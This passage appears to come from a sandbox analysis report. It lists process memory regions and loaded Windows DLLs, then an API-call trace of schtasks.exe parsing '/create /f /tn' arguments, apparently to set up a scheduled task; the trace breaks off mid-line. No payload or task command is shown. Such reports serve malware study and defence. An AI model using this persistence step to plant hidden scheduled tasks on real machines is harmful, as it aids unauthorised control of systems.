Region: id = 608 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 609 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 610 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 611 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 612 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 613 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 614 start_va = 0xc0000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 615 start_va = 0x75360000 end_va = 0x75367fff entry_point = 0x75360000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 616 start_va = 0x75370000 end_va = 0x753cbfff entry_point = 0x75370000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 617 start_va = 0x753d0000 end_va = 0x7540efff entry_point = 0x753d0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 618 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 619 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 620 start_va = 0x140000 end_va = 0x1a6fff entry_point = 0x140000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 621 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 622 start_va = 0x4e0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 623 start_va = 0x75440000 end_va = 0x75448fff entry_point = 0x75440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\SysWOW64\\ktmw32.dll" (normalized: "c:\\windows\\syswow64\\ktmw32.dll") Region: id = 624 start_va = 0x75980000 end_va = 0x7598bfff entry_point = 0x75980000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 625 start_va = 0x75990000 end_va = 0x759effff entry_point = 0x75990000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 626 start_va = 0x75a30000 end_va = 0x75a48fff entry_point = 0x75a30000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 627 start_va = 0x75bb0000 end_va = 0x75bf5fff entry_point = 0x75bb0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 628 start_va = 0x75fd0000 end_va = 0x760dffff entry_point = 0x75fd0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 629 start_va = 0x760e0000 end_va = 0x7617ffff entry_point = 0x760e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 630 start_va = 0x76180000 end_va = 0x761d6fff entry_point = 0x76180000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 631 start_va = 0x763c0000 end_va = 0x763c9fff entry_point = 0x763c0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 632 start_va = 0x763e0000 end_va = 0x764dffff entry_point = 0x763e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 633 start_va = 0x764e0000 end_va = 0x7656efff entry_point = 0x764e0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 634 start_va = 0x76670000 end_va = 0x7671bfff entry_point = 0x76670000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 635 start_va = 0x775d0000 end_va = 0x776bffff entry_point = 0x775d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 636 start_va = 0x776c0000 end_va = 0x7781bfff entry_point = 0x776c0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 637 start_va = 0x77820000 end_va = 0x778affff entry_point = 0x77820000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 638 start_va = 0x77990000 end_va = 0x77a2cfff entry_point = 0x77990000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 639 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x0 region_type = private name = "private_0x0000000077a30000" filename = "" Region: id = 640 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x0 region_type = private name = "private_0x0000000077b50000" filename = "" Region: id = 641 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 642 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 643 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 644 start_va = 0x76720000 end_va = 0x767ebfff entry_point = 0x76720000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 645 start_va = 0x77570000 end_va = 0x775cffff entry_point = 0x77570000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 646 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 647 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 648 start_va = 0x80000 end_va = 0x91fff entry_point = 0x80000 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 649 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 650 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 651 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 652 start_va = 0xac0000 end_va = 0x1ebffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 653 start_va = 0x757a0000 end_va = 0x757a8fff entry_point = 0x757a0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 654 start_va = 0x1ec0000 end_va = 0x218efff entry_point = 0x1ec0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 655 start_va = 0x752d0000 end_va = 0x7534ffff entry_point = 0x752d0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 656 start_va = 0x810000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 657 start_va = 0x3f0000 end_va = 0x4cefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 658 start_va = 0x950000 end_va = 0x98ffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 659 start_va = 0x9f0000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 660 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 661 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 662 start_va = 0x76890000 end_va = 0x76912fff entry_point = 0x76890000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 663 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 664 start_va = 0x748b0000 end_va = 0x7492cfff entry_point = 0x748b0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Thread: id = 26 os_tid = 0xb7c [0180.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29f9e4 | out: lpSystemTimeAsFileTime=0x29f9e4*(dwLowDateTime=0x726fe9d0, dwHighDateTime=0x1d3f29b)) [0180.725] GetCurrentProcessId () returned 0xb78 [0180.725] GetCurrentThreadId () returned 0xb7c [0180.725] GetTickCount () returned 0x31718 [0180.725] RtlQueryPerformanceCounter () returned 0x1 [0180.726] GetModuleHandleA (lpModuleName=0x0) returned 0xa90000 [0180.726] __set_app_type (_Type=0x1) [0180.726] __p__fmode () returned 0x767131f4 [0180.726] __p__commode () returned 0x767131fc [0180.726] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xaa7881) returned 0x0 [0180.726] __wgetmainargs (in: _Argc=0xab9e6c, _Argv=0xab9e74, _Env=0xab9e70, _DoWildCard=0, _StartInfo=0xab9e80 | out: _Argc=0xab9e6c, _Argv=0xab9e74, _Env=0xab9e70) returned 0 [0180.726] _onexit (_Func=0xab0fe2) returned 0xab0fe2 [0180.726] _onexit (_Func=0xab0ff3) returned 0xab0ff3 [0180.726] _onexit (_Func=0xab1002) returned 0xab1002 [0180.726] _onexit (_Func=0xab101e) returned 0xab101e [0180.726] _onexit (_Func=0xab103a) returned 0xab103a [0180.727] _onexit (_Func=0xab1056) returned 0xab1056 [0180.727] _onexit (_Func=0xab1072) returned 0xab1072 [0180.727] _onexit (_Func=0xab108e) returned 0xab108e [0180.727] _onexit (_Func=0xab10aa) returned 0xab10aa [0180.727] _onexit (_Func=0xab10c6) returned 0xab10c6 [0180.727] _onexit (_Func=0xab10e2) returned 0xab10e2 [0180.727] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0180.727] WinSqmIsOptedIn () returned 0x0 [0180.727] SetLastError (dwErrCode=0x0) [0180.727] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0180.727] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0180.727] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0180.727] VerifyVersionInfoW (in: lpVersionInformation=0x29f45c, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x29f45c) returned 1 [0180.727] lstrlenW (lpString="") returned 0 [0180.728] SetThreadUILanguage (LangId=0x0) returned 0x409 [0180.728] SetLastError (dwErrCode=0x0) [0180.728] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.728] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x305958, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0180.728] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x757a0000 [0180.729] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoSizeW") returned 0x757a19d9 [0180.729] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0180.729] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoW") returned 0x757a19f4 [0180.729] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x305b68 | out: lpData=0x305b68) returned 1 [0180.729] GetProcAddress (hModule=0x757a0000, lpProcName="VerQueryValueW") returned 0x757a1b51 [0180.730] VerQueryValueW (in: pBlock=0x305b68, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29f564, puLen=0x29f568 | out: lplpBuffer=0x29f564*=0x305f04, puLen=0x29f568) returned 1 [0180.730] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.730] _vsnwprintf (in: _Buffer=0x305958, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29f54c | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0180.730] VerQueryValueW (in: pBlock=0x305b68, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29f574, puLen=0x29f570 | out: lplpBuffer=0x29f574*=0x305d30, puLen=0x29f570) returned 1 [0180.730] lstrlenW (lpString="schtasks.exe") returned 12 [0180.730] lstrlenW (lpString="schtasks.exe") returned 12 [0180.730] lstrlenW (lpString=".EXE") returned 4 [0180.730] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0180.731] lstrlenW (lpString="schtasks.exe") returned 12 [0180.731] lstrlenW (lpString=".EXE") returned 4 [0180.731] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.731] lstrlenW (lpString="schtasks") returned 8 [0180.731] _memicmp (_Buf1=0x304b78, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.731] _memicmp (_Buf1=0x304b90, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.731] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3065f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0180.731] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0180.731] _vsnwprintf (in: _Buffer=0x306548, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29f550 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0180.731] SetLastError (dwErrCode=0x0) [0180.731] GetThreadLocale () returned 0x409 [0180.731] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.731] lstrlenW (lpString="?") returned 1 [0180.731] GetThreadLocale () returned 0x409 [0180.731] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.731] lstrlenW (lpString="create") returned 6 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] lstrlenW (lpString="delete") returned 6 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] lstrlenW (lpString="query") returned 5 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] lstrlenW (lpString="change") returned 6 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] lstrlenW (lpString="run") returned 3 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] lstrlenW (lpString="end") returned 3 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] lstrlenW (lpString="showsid") returned 7 [0180.732] GetThreadLocale () returned 0x409 [0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0180.732] SetLastError (dwErrCode=0x0) [0180.732] SetLastError (dwErrCode=0x0) [0180.732] lstrlenW (lpString="/create") returned 7 [0180.732] lstrlenW (lpString="-/") returned 2 [0180.732] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.732] lstrlenW (lpString="?") returned 1 [0180.732] lstrlenW (lpString="?") returned 1 [0180.732] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.732] lstrlenW (lpString="create") returned 6 [0180.732] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.732] _vsnwprintf (in: _Buffer=0x304bc0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3 [0180.732] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8 [0180.732] lstrlenW (lpString="|?|") returned 3 [0180.732] lstrlenW (lpString="|create|") returned 8 [0180.732] SetLastError (dwErrCode=0x490) [0180.732] lstrlenW (lpString="create") returned 6 [0180.732] lstrlenW (lpString="create") returned 6 [0180.732] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.732] lstrlenW (lpString="create") returned 6 [0180.732] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.732] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8 [0180.732] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8 [0180.732] lstrlenW (lpString="|create|") returned 8 [0180.732] lstrlenW (lpString="|create|") returned 8 [0180.732] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0180.732] SetLastError (dwErrCode=0x0) [0180.733] SetLastError (dwErrCode=0x0) [0180.733] SetLastError (dwErrCode=0x0) [0180.733] lstrlenW (lpString="/f") returned 2 [0180.733] lstrlenW (lpString="-/") returned 2 [0180.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.733] lstrlenW (lpString="?") returned 1 [0180.733] lstrlenW (lpString="?") returned 1 [0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] lstrlenW (lpString="f") returned 1 [0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3 [0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.733] lstrlenW (lpString="|?|") returned 3 [0180.733] lstrlenW (lpString="|f|") returned 3 [0180.733] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0180.733] SetLastError (dwErrCode=0x490) [0180.733] lstrlenW (lpString="create") returned 6 [0180.733] lstrlenW (lpString="create") returned 6 [0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] lstrlenW (lpString="f") returned 1 [0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8 [0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.733] lstrlenW (lpString="|create|") returned 8 [0180.733] lstrlenW (lpString="|f|") returned 3 [0180.733] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0180.733] SetLastError (dwErrCode=0x490) [0180.733] lstrlenW (lpString="delete") returned 6 [0180.733] lstrlenW (lpString="delete") returned 6 [0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] lstrlenW (lpString="f") returned 1 [0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|delete|") returned 8 [0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.733] lstrlenW (lpString="|delete|") returned 8 [0180.733] lstrlenW (lpString="|f|") returned 3 [0180.733] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0180.733] SetLastError (dwErrCode=0x490) [0180.733] lstrlenW (lpString="query") returned 5 [0180.733] lstrlenW (lpString="query") returned 5 [0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] lstrlenW (lpString="f") returned 1 [0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|query|") returned 7 [0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.734] lstrlenW (lpString="|query|") returned 7 [0180.734] lstrlenW (lpString="|f|") returned 3 [0180.734] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0180.734] SetLastError (dwErrCode=0x490) [0180.734] lstrlenW (lpString="change") returned 6 [0180.734] lstrlenW (lpString="change") returned 6 [0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] lstrlenW (lpString="f") returned 1 [0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|change|") returned 8 [0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.734] lstrlenW (lpString="|change|") returned 8 [0180.734] lstrlenW (lpString="|f|") returned 3 [0180.734] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0180.734] SetLastError (dwErrCode=0x490) [0180.734] lstrlenW (lpString="run") returned 3 [0180.734] lstrlenW (lpString="run") returned 3 [0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] lstrlenW (lpString="f") returned 1 [0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|run|") returned 5 [0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.734] lstrlenW (lpString="|run|") returned 5 [0180.734] lstrlenW (lpString="|f|") returned 3 [0180.734] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0180.734] SetLastError (dwErrCode=0x490) [0180.734] lstrlenW (lpString="end") returned 3 [0180.734] lstrlenW (lpString="end") returned 3 [0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] lstrlenW (lpString="f") returned 1 [0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|end|") returned 5 [0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.734] lstrlenW (lpString="|end|") returned 5 [0180.734] lstrlenW (lpString="|f|") returned 3 [0180.734] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0180.734] SetLastError (dwErrCode=0x490) [0180.734] lstrlenW (lpString="showsid") returned 7 [0180.734] lstrlenW (lpString="showsid") returned 7 [0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] lstrlenW (lpString="f") returned 1 [0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.734] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|showsid|") returned 9 [0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3 [0180.734] lstrlenW (lpString="|showsid|") returned 9 [0180.734] lstrlenW (lpString="|f|") returned 3 [0180.734] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0180.734] SetLastError (dwErrCode=0x490) [0180.734] SetLastError (dwErrCode=0x490) [0180.734] SetLastError (dwErrCode=0x0) [0180.735] lstrlenW (lpString="/f") returned 2 [0180.735] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0180.735] SetLastError (dwErrCode=0x490) [0180.735] SetLastError (dwErrCode=0x0) [0180.735] lstrlenW (lpString="/f") returned 2 [0180.735] SetLastError (dwErrCode=0x0) [0180.735] SetLastError (dwErrCode=0x0) [0180.735] lstrlenW (lpString="/tn") returned 3 [0180.735] lstrlenW (lpString="-/") returned 2 [0180.735] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0180.735] lstrlenW (lpString="?") returned 1 [0180.735] lstrlenW (lpString="?") returned 1 [0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] lstrlenW (lpString="tn") returned 2 [0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3 [0180.735] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4 [0180.735] lstrlenW (lpString="|?|") returned 3 [0180.735] lstrlenW (lpString="|tn|") returned 4 [0180.735] SetLastError (dwErrCode=0x490) [0180.735] lstrlenW (lpString="create") returned 6 [0180.735] lstrlenW (lpString="create") returned 6 [0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] lstrlenW (lpString="tn") returned 2 [0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0 [0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, 